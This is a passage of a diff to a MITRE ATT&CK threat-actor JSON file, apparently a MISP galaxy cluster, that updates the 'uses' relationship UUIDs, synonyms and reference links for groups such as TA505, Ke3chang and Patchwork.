"dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "eac3d77f-2b7b-4599-ba74-948dc16633ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -5982,7 +7618,7 @@ "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6000,43 +7636,45 @@ "https://attack.mitre.org/groups/G0092", "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter", "https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times", - "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", + "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/" ], "synonyms": [ - "TA505" + "TA505", + "Hive0065" ] }, "related": [ { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6050,7 +7688,7 @@ "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6064,7 +7702,7 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6085,21 +7723,21 @@ "type": "uses" }, { - "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6134,7 +7772,98 @@ "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "29ba5a15-3b7b-4732-b817-65ea8f6468e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92b03a94-7147-4952-9d5a-b4d24da7487c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "099ecff2-41b8-436d-843c-038a9aa9aa69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6206,7 +7935,7 @@ "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6227,7 +7956,7 @@ "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6255,28 +7984,28 @@ "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6311,42 +8040,42 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "dest-uuid": "0c4b4fda-9062-47da-98b9-ceae2dcf052a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", + "dest-uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6359,13 +8088,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "fb575479-14ef-41e9-bfab-0b7cf10bec73", "tags": [ @@ -6381,7 +8103,7 @@ "type": "uses" }, { - "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6409,7 +8131,7 @@ "type": "uses" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6430,14 +8152,14 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6472,21 +8194,21 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6521,14 +8243,14 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6570,21 +8292,21 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6633,7 +8355,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6654,7 +8376,7 @@ "type": "uses" }, { - "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", + "dest-uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6668,7 +8390,7 @@ "type": "uses" }, { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6703,7 +8425,7 @@ "type": "uses" }, { - "dest-uuid": "27960489-4e7f-461d-a62a-f5c0cb521e4a", + "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6717,7 +8439,21 @@ "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6769,7 +8505,7 @@ "type": "uses" }, { - "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852", + "dest-uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6781,6 +8517,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "791481f8-e96a-41be-b089-a088763083d4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfebc3b7-d19d-450b-81c7-6dafe4184c04", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9", @@ -6814,7 +8564,7 @@ "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6825,7 +8575,7 @@ "value": "Moafee - G0002" }, { - "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China.\n[Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", "meta": { "external_id": "G0004", "refs": [ @@ -6860,7 +8610,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6895,21 +8645,21 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6930,7 +8680,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6944,14 +8694,14 @@ "type": "uses" }, { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "dest-uuid": "768dce68-8d0d-477a-b01d-0eea98b963a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -6965,7 +8715,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7007,14 +8757,14 @@ "type": "uses" }, { - "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "dest-uuid": "0c4b4fda-9062-47da-98b9-ceae2dcf052a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7042,7 +8792,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7056,7 +8806,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7070,28 +8820,63 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "77eae145-55db-4519-8ae5-77b0c7215d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b6ec280-7bbb-48ff-ae59-b189520ebe83", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7202,7 +8987,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7252,11 +9037,13 @@ "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/", "https://securelist.com/the-dropping-elephant-actor/75328/", "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", + "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf", "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf" ], "synonyms": [ "Patchwork", + "Hangover Group", "Dropping Elephant", "Chinastrats", "MONSOON", @@ -7293,14 +9080,14 @@ "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7314,7 +9101,7 @@ "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7335,21 +9122,21 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7363,14 +9150,14 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7384,14 +9171,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7405,7 +9192,7 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7419,21 +9206,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7447,14 +9234,14 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -7475,21 +9262,21 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + 